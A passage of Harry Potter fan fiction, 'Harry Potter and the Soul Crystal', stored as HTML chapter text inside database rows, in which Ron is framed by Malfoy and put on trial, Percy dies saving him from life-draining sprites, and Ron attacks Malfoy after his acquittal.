said Sirius. <p>\n\n</p></dd><dd> &quot;How long have you been standing there?&quot; asked Harry. <p>\n\n</p></dd><dd> Sirius smiled. &quot;Long enough.&quot; <p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;Why?&quot; asked Ron through a mouthful of mashed potatoes. Wendy had just finished telling the trio that she would be starting school with the first years. <p>\n\n</p></dd><dd> &quot;I would think that\'s obvious Ron,&quot; said Hermione. &quot;She knows nothing about magic. It would be silly to put her in our class.&quot; <p>\n\n</p></dd><dd> Wendy nodded in agreement. &quot;Yeah. At least I\'m in Gryffindor, so we can still hang out.&quot; The trio looked at her, confused. &quot;Urm, that\'s a bit American isn\'t it? I meant we can spend time together.&quot; <p>\n\n</p></dd><dd> Harry looked at his sister. &quot;You have your first flying lesson today, don\'t you?&quot; <p>\n\n</p></dd><dd> Wendy suddenly looked like she\'d won a million galleons. &quot;Yeah! I can\'t wait! I\'ve been dreaming of flying all my life! Granted I won\'t be totally free cause ya hafta use a broom n\' all, but it\'s the closest I\'ll ever get to flying under my own power.&quot; Everyone just sat there and blinked. She\'d said all this very rapidly. Wendy noticed the blank stares and blushed furiously. &quot;Sorry. I can be kinda hyper sometimes. But ever since Professor McGonagall told me about riding broomsticks I haven\'t thought about much else.&quot; <p>\n\n</p></dd><dd> &quot;It\'s the best feeling in the world. You\'ll love it,&quot; said Harry smiling. Wendy grinned. She\'d had a lot of culture shock since she moved to the school. Harry had been very patient with her America slang and phrases, explaining to her what to replace them with so people would know what she was talking about. <p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;Alright, Miss Potter, your turn,&quot; said Madam Hooch. Wendy continued to talk to the girl next to her. &quot;MISS POTTER!&quot; <p>\n\n</p></dd><dd> Wendy jumped. &quot;S..sorry. I\'m still getting used to the new last name.&quot; <p>\n\n</p></dd><dd> Madam Hooch nodded. &quot;Very well then. Mount your broom please.&quot; <p>\n\n</p></dd><dd> As Wendy prepared for her first take off Harry watched from the edge of the field. He was very curious to see if Wendy would show the same talent he did the first time he flew. Professor Flitwick had given him special permission to skip class. He still couldn\'t believe he had a sister. He was thinking of asking Sirius if she could move in with them at the end of the school year but he wanted to get to know her better first. <p>\n\n</p></dd><dd> What Harry really had a hard time believing was the strangely warm feelings he\'d had for Hermione lately. This was the same girl who had annoyed the hell out of him during the beginning of his first year at Hogwarts. Then they\'d become friends, then good friends, and now........now he didn\'t know. She was definitely a lot more beautiful then she used to be. It was amazing what fixing her teeth and a good hair charm had done to her looks. He\'d nearly choked when he saw how she looked at the Yule ball. Maybe he should talk to her about this. He knew it wasn\'t love yet but it was way more than friendship. <p>\n\n</p></dd><dd> &quot;Miss Potter stop showing off!!&quot; yelled Madam Hooch. Harry snickered as he watched Wendy doing loops. She looked like she was having the time of her life. He was glad. He knew how much flying ment to her. <p>\n\n</p></dd><dd> The class ended and Harry left the field to go to lunch. <p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> Harry walked up to the fat lady. &quot;Wishing star,&quot; he said tiredly. When the portrait opened and Harry stepped inside he stopped short. He heard crying coming from the back of the dark common room. Harry lit his wand and went to see who it was. He found Wendy huddled on the rug near the entrance to the girl\'s dormitory. &quot;Wendy?&quot; <p>\n\n</p></dd><dd> Wendy startled and looked at her brother. She began hurriedly wiping her eyes with her sleeve. &quot;H..Harry. Hi.&quot; <p>\n\n</p></dd><dd> &quot;Are you okay?&quot; Harry asked with concern. <p>\n\n</p></dd><dd> &quot;Yeah. I was just lookin\' out the window, and I started to think about Mom and Dad.&quot; Harry sat down next to Wendy. &quot;I used to dream all the time about my real parents coming to take me away. I\'d always wanted to meet \'em. Then Professor McGonagall told me they were dead. It just really hit me hard tonight. Sorry.&quot; <p>\n\n</p></dd><dd> &quot;It\'s okay. I know exactly how you feel,&quot; Harry said with a sympathetic smile. He gave Wendy a hug. <i>&quot;I wish we could see them too.&quot;</i>\n\n<p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> Harry\'s sleep was filled with disturbing dreams. He walked through the forbidden forest in his night robes. He seemed to be looking for something. Suddenly he stopped, crouched down and picked up a small object. He couldn\'t see it very well, so he lit the end of his wand. The wand\'s light shone on a gorgeous blue crystal. It was multifaceted and about the size of the snitch. He held it up closer to his face and saw smoky shapes swirling around inside it. <p>\n\n</p></dd><dd> The shapes in the crystal had just started to become clearer when a beast the likes of which Harry had never seen before, jumped in front of him and knocked the crystal out of his hands. Harry stared in pure terror at the creature. It was about ten feet tall, with two glowing, white eyes with no pupils. It\'s head was about the size of a basketball. It\'s mouth was long , gaping, and had two rows of very long, very thin teeth which gave it\'s face the appearance of a deep sea fish. The leathery skinned, muscular body, which was littered with cats claw shaped spikes, was supported by four legs. The back legs were short and thick. The front legs extended down from the creature\'s dark purple, almost black shoulders. The feet had three toes that each sported six inch, retractable claws. It\'s arms came out right next to the tops of the front legs. Both of it\'s hands had six fingers which ended in very nasty looking black claws. It\'s last feature was a long scorpion like tail with a scythe blade attached to it. Harry could do nothing but scream and scream. <p>\n\n</p></dd><dd> The cold water was actually a welcome thing compared to looking at the beast but Harry was still annoyed. Harry wiped off his face and looked up to see Hermione standing over him with an empty cup. &quot;I\'m sorry Harry. But you were screaming in your sleep and I couldn\'t get you to stop.&quot; <p>\n\n</p></dd><dd> Harry shivered. Partly because of the water, but mostly from the memory of the beast. &quot;It\'s okay. I didn\'t frighten you did I?&quot; <p>\n\n</p></dd><dd> Hermione shook her head. &quot;What were you dreaming about?&quot; <p>\n\n</p></dd><dd> Harry described the creature to his friend. Hermione gulped. &quot;Is it another premonition?&quot; <p>\n\n</p></dd><dd> Harry sighed. &quot;I don\'t know.&quot; <p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;So tell her,&quot; said Ron as he scratched a mosquito bite on his arm. They were sitting in the library looking up spells that might tell Harry what his nightmare ment. <p>\n\n</p></dd><dd> &quot;It\'s not that easy. I\'m not really sure what I feel myself,&quot; Harry replied. <p>\n\n</p></dd><dd> &quot;Ya know if it was any girl <i>but</i> Hermione, you\'d be sure,&quot; Ron said as he flipped another page. <p>\n\n</p></dd><dd> Harry rubbed his eyes with his palms. &quot;You\'re probably right.&quot; <p>\n\n</p></dd><dd> &quot;Of course I am,&quot; Ron replied, grinning. <p>\n\n</p></dd><dd> Harry just rolled his eyes and sighed. <p>\n\n</p></dd><dd> &quot;What?&quot; Ron prodded. <p>\n\n</p></dd><dd> &quot;Nothing,&quot; Harry replied as he shook his head. <p>\n\n</p></dd><dd> &quot;I hate it when you do that. What?&quot; <p>\n\n</p></dd><dd> Harry chuckled. &quot;You\'re just a prat. That\'s what.&quot; <p>\n\n</p></dd><dd> Ron playfully punched Harry in the arm. &quot;Hey,&quot; Harry grumbled. <p>\n\n</p></dd><dd> &quot;Well, I\'m going to see Hagrid,&quot; said Ron as he started to get up from the table. His knee hit the edge, which rocked the table and sent the heavy book he\'d been reading to the floor with a loud thunk. This earned him an icy stare from the librarian. <p>\n\n</p></dd><dd> &quot;Okay. Hey. If you see Wendy there tell her I need to talk to her.&quot; <p>\n\n</p></dd><dd> &quot;Yup,&quot; Ron called back as he walked down the hallway. <p>\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> Wendy stroked the chimera\'s lion head. Hagrid was washing the powerful animal. Wendy turned her attention to the goat head which was nuzzling her hand in an effort to get petted. She heard someone behind her and turned to find Ron. Unfortunately when Wendy was distracted she lost her hold on the chimera and it went wild. Ron and Wendy jumped out of the way as the chimera\'s dragon headed tailed sailed towards them. <p>\n\n</p></dd><dd> Ron turned to Wendy. &quot;Can\'t you stop it?&quot; he said as he ducked the tail again. <p>\n\n</p></dd><dd> &quot;I have to be able to look in it\'s eyes!&quot; Wendy screamed as she rolled out of the way of the chimera\'s claws. <p>\n\n</p></dd><dd> Suddenly a cloud of dust surrounded the chimera and the great beast fell to the ground with a thud. Hagrid wiped the remaining dust off his hands. &quot;Yer shouldn\' sneak up on a beastmaster when they\'s workin\' Ron. It\'s righ\' dangerous. Yer lucky I had some sleeping powder left from handling the dragons fer the wizardin\' tournament.&quot; <p>\n\n</p></dd><dd> Ron sighed in relief. &quot;Harry wants to see you,&quot; he said as he turned to Wendy <p>\n\n</p></dd><dd> Wendy tore her eyes away from the sleeping form of the Chimera. &quot;You all set with the chimera Hagrid?&quot; <p>\n\n</p></dd><dd> &quot;Yeah. I\'ll jes put \'im back in \'is pen.&quot; <p>\n\n</p></dd><dd> &quot;K. I\'ll see ya later then,&quot; Wendy said as she headed back up to the castle. <p> .........TO BE CONTINUED<br>\n\n\n</p><center>=================================================================</center>\n\n<p>\n\n</p></dd><dd> I hope you like it. Just to let you know the Harry Hermione relationship will heat up later. I just wanted to go a little slower on their romantic realizations than in other fics I\'ve read. Most other writers make them seem to have either loved each other all along or they go from friends one second to saying they love each other in next second. But even though I\'m going slow you don\'t have to worry cause this is a loooooong fic. '),
	(31, 3, ' <center> Harry Potter and the Soul Crystal - Chapter 3<p></p></center>\n\n<dd> The only characters/things I own are Wendy Kitanya, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p>\n\n</p><center> Please read and review. Thanks! <p> ______________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________</p></center>\n\n</dd><dd> &quot;What\'s up Harry?&quot; said Wendy as she sat down at the table where Harry was.<p>\n\n</p></dd><dd> &quot;Do you have nightmares with a monster in them?&quot;<p>\n\n</p></dd><dd>Wendy was puzzled. &quot;Yeah. Most people do Harry,&quot; she said as she blew a stray strand of hair out of her face.<p>\n\n</p></dd><dd> &quot;No. I mean a specific monster.&quot; Harry went on to describe the monster from his dream. Wendy\'s mouth hung open when Harry had finished his description. <p>\n\n</p></dd><dd>&quot;How\'s this possible?&quot; Wendy said when she\'d found her voice. &quot;How can we have the same dream?&quot; <p>\n\n</p></dd><dd> &quot;I don\'t know.&quot; <p>\n\n</p></dd><dd> &quot;Could it mean something?&quot; <p>\n\n</p></dd><dd> &quot;I don\'t know.&quot; <p>\n\n</p></dd><dd> Wendy\'s shoulders sagged. &quot;You\'re not helping.&quot; She sighed. &quot;Maybe we should go into the forest and take a look,&quot; she whispered. <p>\n\n</p></dd><dd> Harry gaped at her. &quot;Are you nuts?&quot; <p>\n\n</p></dd><dd>&quot;Going there would be the best way to figure this out.&quot; <p>\n\n</p></dd><dd> Harry looked contemplative. Finally he gave in. &quot;Okay. I\'ll take Hermione and Ron with me.&quot; <p>\n\n</p></dd><dd>&quot;What about me?&quot; she said with her hands out. <p>\n\n</p></dd><dd> &quot;You\'re staying here,&quot; Harry said as he closed the book in front of him. <p>\n\n</p></dd><dd> &quot;I don\'t think so,&quot; Wendy replied, looking indignant. <p>\n\n</p></dd><dd> &quot;You barely know any magic. I\'d spend most of the time trying to keep you safe.&quot; <p>\n\n</p></dd><dd> &quot;I guess you\'re right.&quot; Wendy sighed and gave Harry a hug. &quot;Be careful Bro.&quot; Harry shook his head at the Statey speak. <p>\n\n</p></dd><dd> &quot;We better head back to the common room. It\'s getting late.&quot; <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;Harry aren\'t you just the slightest bit sick of nearly getting killed?&quot; said Hermione exasperatedly, as she did a quick about face to look Harry in the eyes. <p>\n\n</p></dd><dd> &quot;Mione I need to do this. If Wendy\'s having these dreams too then this is too important to ignore,&quot; Harry said as he sat on one of the garden\'s stone benches. <p>\n\n</p></dd><dd>Hermione sighed. &quot;I just don\'t want you to get hurt.&quot; She turned away and lowered her head. &quot;I hate it when you get hurt,&quot; she said softly. Harry thought he heard something else in her voice. Something that sounded like a deep fear. <p>\n\n</p></dd><dd>Harry looked at Hermione quizzically. &quot;I know.&quot; He smiled at her and gave her shoulder a small squeeze. <p>\n\n</p></dd><dd> &quot;Well let\'s at least wait till Percy goes back to the ministry. I don\'t feel like dealing with him if we\'re caught.&quot; Ron said as he shuddered. <p>\n\n</p></dd><dd> &quot;Alright,&quot; Harry agreed. Just then the trio heard whispering coming from the other side of the bush next to them. <p>\n\n</p></dd><dd> &quot;Are you sure the Ministry hasn\'t made a mistake? I mean, the very idea of a Weasley being a death eater is laughable,&quot; said one voice. Harry and Hermione stared at Ron open mouthed. Ron made an over exaggerated shrug. <p>\n\n</p></dd><dd> &quot;I over heard the new Ministry head talking about it to Professor Dumbledore,&quot; said the other student. <p>\n\n</p></dd><dd>&quot;What\'s the new head\'s name anyway?&quot; <p>\n\n</p></dd><dd>&quot;Rachel Tigerlilly.&quot; <p>\n\n</p></dd><dd> The trio snickered a bit but quickly caught themselves before they were given away. <p>\n\n</p></dd><dd>&quot;So anyway Tigerlilly said she found the death eater symbol in Ron\'s schoolbag.&quot; She looked at her watch. &quot;Bloody hell. We\'re late. Let\'s go.&quot; <p>\n\n</p></dd><dd> Ron felt like he couldn\'t breath. He also must have looked like he couldn\'t because Harry started patting him on the back. &quot;Ron. Ron! Snap out of it!&quot; <p>\n\n</p></dd><dd> Ron started talking like he was in a panicked trance. &quot;I\'m gonna go to Azkaban. I\'m gonna be locked away for life. I\'m gonna die!!!!!&quot; <p>\n\n</p></dd><dd>Harry started shaking Ron. &quot;Come on! Stop it!&quot; <p>\n\n</p></dd><dd> Hermione pushed Harry to one side and slapped Ron across the face. Ron was instantly angry. &quot;What was that for?!&quot; <p>\n\n</p></dd><dd>Hermione kept her composure. &quot;I did it to stop you from being hysterical.&quot; <p>\n\n</p></dd><dd> Ron began to cry. &quot;What am I going to do?&quot; <p>\n\n</p></dd><dd>&quot;We\'ll find out what\'s going on. We know you\'re not guilty,&quot; said Harry with a determined look. <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;It must\'ve been Malfoy,&quot; Harry said angrily as he paced the floor of the common room. <p>\n\n</p></dd><dd> &quot;What\'ll we do? Ron\'s trial starts tomorrow,&quot; said Wendy who was sitting on the floor. <p>\n\n</p></dd><dd>&quot;We have to prove Malfoy put the symbol there,&quot; said Hermione. <p>\n\n</p></dd><dd> &quot;How? It\'s not like this place has surveillance cameras,&quot; said Wendy. <p>\n\n</p></dd><dd> &quot;Surveillance cameras? What are those?&quot; asked Ron. <p>\n\n</p></dd><dd> Harry waved him off. &quot;Never mind.&quot; <p>\n\n</p></dd><dd> &quot;I\'ll reckon Percy is all ready to take me to Azkaban himself,&quot; Ron said miserably as he sunk to the floor, folded his arms on his knees and buried his face in his arms. <p>\n\n</p></dd><dd> &quot;Don\'t be silly. He\'s your brother,&quot; said Hermione. <p>\n\n</p></dd><dd>Ron suddenly got very angry and his head snapped upwards. &quot;You don\'t KNOW him like I do! He wouldn\'t save me for anything! All he cares about is his career!!!&quot; Ron yelled. He froze. His face went white as a sheet. Percy was standing in the doorway. <p>\n\n</p></dd><dd> &quot;Is that what you think of me?&quot; Percy looked like he wanted to be sick. &quot;I love you Ron. I can\'t believe you don\'t know that.&quot; <p>\n\n</p></dd><dd>&quot;Perc I......,&quot; Ron stuttered. <p>\n\n</p></dd><dd> &quot;I came to inform you I asked Tigerlilly if I could be your defense council and she has accepted. Good day!&quot; Percy said as he turned to leave. <p>\n\n</p></dd><dd> &quot;Percy wait,&quot; said Ron as he reached his hand toward his brother. <p>\n\n</p></dd><dd> &quot;Save it!!!&quot; Percy snapped as he stormed out the entrance. <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd>Ron paced the floor of the room Hogwarts had set aside for the trial. Percy sat calmly at his desk and every once in a while he shot Ron a withering look. The door to the room opened and Dumbledore, Tigerlilly, Harry, Hermione, Wendy, and Ron\'s parents entered. Once everyone had taken their seats Dumbledore cleared his throat. &quot;Ronald Weasley I trust I do not have to remind you that complete truthfulness is of the utmost importance.&quot; Ron nodded nervously. &quot;Very well then. Let us begin.&quot; <p>\n\n</p></dd><dd>Tigerlilly stood to her full height which was an impressive six feet 5 inches. &quot;Ronald Weasley. You are charged with being a death eater. Evidence to this is the discovery of the death eater symbol in your schoolbag. Can you explain this?&quot; <p>\n\n</p></dd><dd>Ron looked to Percy who nodded. &quot;I...I don\'t know. I hate Voldemort. I\'d never sign up with that nutter. You\'ve got to believe me!&quot; Ron cried as he burst into tears. <p>\n\n</p></dd><dd>Percy tensed and spoke. &quot;I ask that the Ministry would please excuse the emotional outburst from my client. He is under extreme stress.&quot; <p>\n\n</p></dd><dd>Tigerlilly nodded. &quot;So noted.&quot; The trial continued with many character witnesses, the viewing of the mark (Which made everybody wince.), and in the end even Dumbledore took the stand to give light to the many instances in which Ron had helped to save the wizarding world from Voldemort. <p>\n\n</p></dd><dd>Tigerlilly sat with her chin resting on her interlaced fingers. &quot;Mr. Weasley. You and your council have 3 days to find out who, if not yourself, put the mark in your bag. The Ministry will also conduct it\'s own separate investigation. If nothing is found to prove your innocence at that time you will be sent to the juvenile sector of Azkaban. This trial is adjourned,&quot; she said and banged her gavel. <p>\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd>Harry tossed in his sleep. He was dreaming about that crystal again, only this time just before the monster showed up he said the crystal\'s name. He woke up and bolted upright. &quot;The Soul Crystal?&quot; he said in between gasps. <p>\n\n</p></dd><dd>Harry sat in his bed for a while, just reflecting on the dream. He laid down and rolled onto his side. &quot;Why do I have dreams like this? Am I psychic or something?&quot; He tried to go back to sleep but it was no use. This dream plus Ron\'s predicament was just too much. He got on his robe, flung the invisibility cloak over himself, grabbed a comic book and went down to the common room to read. <p> .........TO BE CONTINUED<br>\n\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd>Sorry if the courtroom scene was a bit short. I wanted it to be brief cause I\'ve never written a court scene before and I was worried that I might write something dumb. Lol. '),
	(31, 4, ' <center> Harry Potter and the Soul Crystal - Chapter 4</center><p>\n\n</p><dd>If you\'ve read this before, you\'ll be happy to know this chapter has been extended. There\'s an entirely new scene in the beginning. <p>\n\n</p></dd><dd> Harry Potter and all the characters are not mine blah blah blah. The only characters/things I own are Wendy Potter, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. Thoughts are in {}s. <p>\n\n</p></dd><dd> Please read and review. Thanks! Let me just apologize in advance to all who like Percy. Really...REALLY apologize. <p>\n\n</p><center> ______________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________<p>\n\n</p></center>\n\n<p>\n\n</p></dd><dd> Most of the sixth year students were standing in the field, waiting for their Care of Magical Creatures class to start. Ron was staring at the sky when he heard a familiar, annoying voice behind him. <p>\n\n</p></dd><dd>&quot;Enjoying your trial Weasley?&quot; Draco sneered. <p>\n\n</p></dd><dd>Ron spun around and glared at Draco. &quot;Sod off, you ass!&quot; he growled. <p>\n\n</p></dd><dd>Draco\'s smirk grew wider. &quot;Ah. Such a shame. Your bag just happened to be too close to Potter\'s.&quot; <p>\n\n</p></dd><dd>All at once, realization and anger blazed across Ron\'s face. &quot;YOU BASTARD!&quot; he roared. <p>\n\n</p></dd><dd>Ron\'s yell of rage got the attention of Harry and Hermione, who had been out of earshot due to the fact that they were trying to catch a particularly annoying field gnome who had stolen Harry\'s quill. They hurried over to where Ron and Draco were standing. <p>\n\n</p></dd><dd>Hermione had a scowl on her face as she turned to Draco. &quot;What have you done now, you little worm?!&quot; <p>\n\n</p></dd><dd><i>&quot;Couldn\'t she come up with something a little more insulting?&quot;</i> Harry thought. <p>\n\n</p></dd><dd>Ron pointed stiffly at the blonde haired boy in front of him. &quot;HE put the mark in my bag!!!&quot; <p>\n\n</p></dd><dd>&quot;What?!&quot; Harry said in a raised voice. <p>\n\n</p></dd><dd>&quot;Heh. You should feel lucky Potter,&quot; he said, practically spitting Harry\'s family name, &quot;If I wasn\'t in such a rush you\'d be the one headed for Azkaban.&quot; <p>\n\n</p></dd><dd>Harry\'s face fell. &quot;You were after...me?&quot; He felt sick to his stomach. His best friend was in trouble because yet another person had tried to hurt him. <p>\n\n</p></dd><dd>Draco was more than gratified at the expression on Harry\'s face. <p>\n\n</p></dd><dd>Hermione was about to make a venomous reply when she noticed Sirius walking towards the group of students. &quot;Harry, look,&quot; she said, pointing in Sirius\' direction. <p>\n\n</p></dd><dd>Sirius had a severe look on his face and was slowly, and deliberately, looking all around. Harry felt the hair on the back of his neck stand on end. Sirius came to a stop just in front of Hagrid\'s hut. He let out a breath. &quot;Everyone get back inside. Something\'s wrong. The wind doesn\'t smell right.&quot; <p>\n\n</p></dd><dd> The students, amid much grumbling, turned to go in. The trio walked quickly to catch up to Sirius. &quot;What\'s the matter?&quot; asked Harry. <p>\n\n</p></dd><dd> &quot;You smell that?&quot; Sirius said, looking toward the sky. <p>\n\n</p></dd><dd> Harry sniffed the air. &quot;Yeah. It smells like sulfur.&quot; <p>\n\n</p></dd><dd>&quot;I think we have a swarm of bubble sprites coming our way,&quot; Sirius warned. <p>\n\n</p></dd><dd> &quot;Bubble sprites?&quot; Ron laughed. &quot;That doesn\'t sound dangerous,&quot; he said, laughing even harder. <p>\n\n</p></dd><dd> &quot;Believe me....It\'s very dangerous,&quot; Sirius replied. Several students suddenly pointed at the sky. A cloud of bubbles was heading toward them, descending fast. Sirius\'s eyes widened. &quot;Everybody run!!&quot; he screamed. The students looked at him with confusion until one of the girls squealed in fright as a large number of the softball-sized bubbles surrounded her, flattened themselves out and linked together form one large bubble which lifted her into the air. All at once the previously calm students became a mass of panicked bodies all fighting to get ahead of the crowd and reach the safety of the castle. <p>\n\n</p></dd><dd> Because the trio had been with Sirius they were now the furthest away from the doors. Sirius told them to go ahead with out him. Ten more students had been trapped in bubbles. The situation was getting desperate. <p>\n\n</p></dd><dd> The bubble holding the first victim began to glow. The glow got brighter and brighter until the girl sank to the floor of her prison and finally passed out. At that moment seven more teachers, including Dumbledore and McGonagall, rocketed by the trio on their broomsticks, dodging bubbles as they went. <p>\n\n</p></dd><dd> Percy was watching the attack and was about to go help when Tigerlilly spoke. &quot;You don\'t have their experience, Percy. Stay back,&quot; she said. Percy reluctantly leaned against the wall. Sirius, Flitwick and Madam Hooch aimed their wands at the bubble, yelled a spell, and the bubble broke apart into separate sprites in midair. The sprites that had fed were now a bright purple color and had taken on their true form which looked like someone had made little people with pixie wings out of balloons. Madam Hooch flew under the girl and caught her. She then placed her fingers on the girl\'s neck to check for a pulse. She sadly shook her head. The sprites had drained all her life force. The other sprites that held prisoners, seeing this attack on their kin, flew away at enormous speed. All the teachers chased after them. <p>\n\n</p></dd><dd> The trio were almost to the castle when Draco Malfoy knocked Ron to the ground yelling &quot;Out of my way Weasley.&quot; as he ran by. Ron was quickly overtaken by the remaining sprites. Harry and Hermione didn\'t notice until Ron yelled for help. He was banging on the inside wall of his captors. &quot;RON!!!&quot; Harry and Hermione screamed. <p>\n\n</p></dd><dd> Percy looked up at Harry and Hermione\'s cries. &quot;NO!!&quot; he yelled. Percy tried to go to Ron but Tigerlilly had a firm grasp on his arm. &quot;Let me go! I have to help Ron!&quot; <p>\n\n</p></dd><dd> Tigerlilly stood her ground. &quot;I will not allow you to help a Death Eater,&quot; she growled. <p>\n\n</p></dd><dd> Percy looked at Tigerlilly with fire in his eyes. &quot;RON IS NOT A DEATH EATER!!!&quot; he bellowed as he tore himself from her grasp. Percy called for his broom and mounted it as soon as it got to him. <p>\n\n</p></dd><dd> &quot;Weasley, if you help him, you\'re fired,&quot; said Tigerlilly warningly. <p>\n\n</p></dd><dd> &quot;Sod off Rachel! He\'s my brother!&quot; Percy yelled. He headed for Ron\'s bubble at lightning speed. The bubble began to glow. Percy pushed his broom even harder, panic filling every fiber of his being. He suddenly realized he didn\'t know the spell to free Ron. Instead he did the only thing he could think of. With an extra burst of speed he shot into Ron\'s bubble like a runaway javelin. Ron, and Percy\'s broom, were both pushed out of the bubble. Percy was now trapped inside. Hermione caught Ron and was knocked backwards from the impact. Both of them rolled to a stop on the ground. <p>\n\n</p></dd><dd>&quot;Ron. Ron! Wake up!&quot; Hermione said urgently. <p>\n\n</p></dd><dd> Ron\'s eyes fluttered open. &quot;Mione? What the bloody hell happened?&quot; he said. <p>\n\n</p></dd><dd> &quot;Percy saved you,&quot; said Harry. <p>\n\n</p></dd><dd>Ron blinked in surprise. &quot;He did?&quot; <p>\n\n</p></dd><dd> Ron looked up to see Percy trying to use his wand to pop the bubble. He stared in horror as Percy\'s efforts became more and more strained. Finally, Percy slumped forward and fell, face down. &quot;PERCY!!&quot; Ron screamed. A beam of light shot from somewhere behind them and lanced the bubble. <p>\n\n</p></dd><dd> The angry sprites turned on the teachers. &quot;Incendio!&quot; McGonagall yelled and a huge ball of flame engulfed the sprites, killing them instantly. Harry turned to see Dumbledore and the other teachers had returned with ten weak but very much alive students. Sirius caught Percy and quickly landed. <p>\n\n</p></dd><dd> Dumbledore told Madam Hooch to take the rescued students to the infirmary. The trio ran to the spot where Percy lay. Sirius was trying various revival spells while everyone looked on. Ron was breathing very quickly, close to hyperventilating. Harry was holding Ron\'s left hand, Hermione his right. Ron had tears streaming down his face as he choked back silent sobs. Eventually Sirius resorted to trying CPR. &quot;Come on Percy. Breath dammit!&quot; he commanded as he did more chest compressions. Five minutes went by. Sirius didn\'t give up easily but even he knew when something was hopeless. Finally Sirius looked up at Ron. Regret filled every crevice of his face as he spoke. &quot;Ron,...I...I\'m so sorry. He\'s gone.&quot; <p>\n\n</p></dd><dd> It was as if a flood gate had opened behind Ron\'s eyes. &quot;NO! Please. Th...there\'s gotta be something else you can try!&quot; he pleaded with Sirius. Sirius just shook his head sullenly. Ron flung himself down on his brother\'s still form. &quot;Percy, please! Please wake up!&quot; he cried as he shook Percy\'s body. &quot;You can\'t leave! You just can\'t!&quot; he hugged Percy tightly. &quot;Oh God! Percy! Percy! Peeeeerrrrrrcccccyyyyyyyyy!!!!&quot; <p> .........TO BE CONTINUED<br>\n\n\n</p><center>==============================================================</center>\n\n<p>\n\n</p></dd><dd> Again, apologies to all Percy fans. '),
	(31, 5, '<div class="center">Harry Potter and the Soul Crystal - By Songbird21</div><p> Chapter 5 </p><p> </p><dd>There are some minor changes in this chapter. And now...time for some much needed Draco bashing......... ;)<p> </p><div class="center"> ______________________________________________________________________________<br/>\n ______________________________________________________________________________<br/>\n ______________________________________________________________________________</div><p></p><p> THE BURROW  </p><p> </p></dd><dd> He just sat there. It was all so surreal. What had happened? Oh yeah. His brother was dead. And why was he dead? Because he saved Ron\'s life. Something Ron had never seen coming. Why hadn\'t he seen that his brother cared? He and the twins had spent so much time making fun of him and his high and mighty attitude. The casket seemed to float past. He couldn\'t see the pallbearers...only the casket. He had often thought of how Percy would feel if he had died. Now Ron knew the answer to this question. Percy had given his life so he wouldn\'t have to find out. In death Percy had somehow become the brother Ron had never imagined he was in life. <p> </p></dd><dd> Ron looked at his parents. They couldn\'t stop crying. Fred and George just looked lost. Ginny had been so upset that she\'d locked herself in her room and wouldn\'t come out. Charlie and Bill sat in their seats with their heads in their hands. Harry and Hermione looked sad but they weren\'t hurting nearly as much as him. Ron had always loved Percy deep down but he had never known he\'d be in so much pain. <p> </p></dd><dd> Ron\'s parents had always said they stopped at seven children because seven was a lucky number. Where was that luck four days ago? He walked up to the casket. <i>"Percy looks so peaceful,"</i> he thought. It was strange. Percy was never peaceful. <i>"There should be a holier than thou scowl on his face....not this fake smile."</i> His resolve began to crumble as his body started shaking a little. <i>"This is wrong...</i> Tears spilled down his cheeks. "...all WRONG!" he yelled out loud. He couldn\'t take it. He ran down the isle and into the woods behind the house. <p> </p></dd><dd>Harry was about to go after Ron, but Hermione put a gentle hand on his shoulder and shook her head. "He needs some time alone," she said. Harry nodded. <p> </p><div class="center">============================================================== </div><p></p><p> ~THREE DAYS LATER~ </p><p> </p></dd><dd> Everyone had gathered for the second half of Ron\'s trial. The room was very quiet. Even Tigerlilly looked solemn. She banged the gavel on the desk. "This trial will now commence," she said off-handedly. She ran her fingers through her navy blue hair and sighed. "Ronald Weasley. Initially I was prepared to send you to Azkaban." Ron flinched "But I feel I must take recent events into account. I knew Percy very well, and I know he wouldn\'t have sacrificed himself if he believed even for one instant that you were guilty. Therefore, the charges against you are hereby dismissed." <p> </p></dd><dd> Ron should have been ecstatic, but all he managed was a mumbled "Thank you." <p> </p></dd><dd> "This trial is over. Please accept my sincerest condolences Ron. Percy was a good man," Tigerlilly said sympathetically. <p> </p></dd><dd> As everyone was leaving the room Ron spotted Malfoy walking down the corridor and something inside him snapped. He broke away from his Mother\'s comforting arms and ran at Malfoy screaming at the top of his lungs. Malfoy just stood there looking like a deer caught in a car\'s headlights. Harry would have laughed if he hadn\'t been so shocked. <p> </p></dd><dd> Ron collided with Malfoy, knocking him to the floor. He threw punch after punch into every part of Malfoy\'s shaking body. Blood began flowing from Malfoy\'s nose and mouth. "Someone get him off me! He\'s gone crazy!" Malfoy yelled. The crack of Malfoy\'s nose breaking brought everyone out of their stunned trance. <p> </p></dd><dd> Ron\'s parents ran over to the fight and tried to control him with no success. "IT\'S HIS FAULT!!!" Ron screamed. "IF HE HADN\'T PUSHED ME DOWN PERCY WOULDN\'T HAVE HAD TO SAVE ME!" he cried as tears came from his crazed eyes. "HE KILLED PERCY!!!!!!" Malfoy\'s face began to take on an ugly purple color. <p> </p></dd><dd> Dumbledore decided Malfoy had finally had enough. Although truth be told he thought Malfoy deserved what he got. He aimed his wand at Ron. "Wingardium Leviosa," he said calmly. Ron lifted upwards, still punching and kicking at the air. <p> </p></dd><dd> Ron was furious. "Lemme down! Lemme down!" <p> </p></dd><dd> Dumbledore simple shook his head and walked 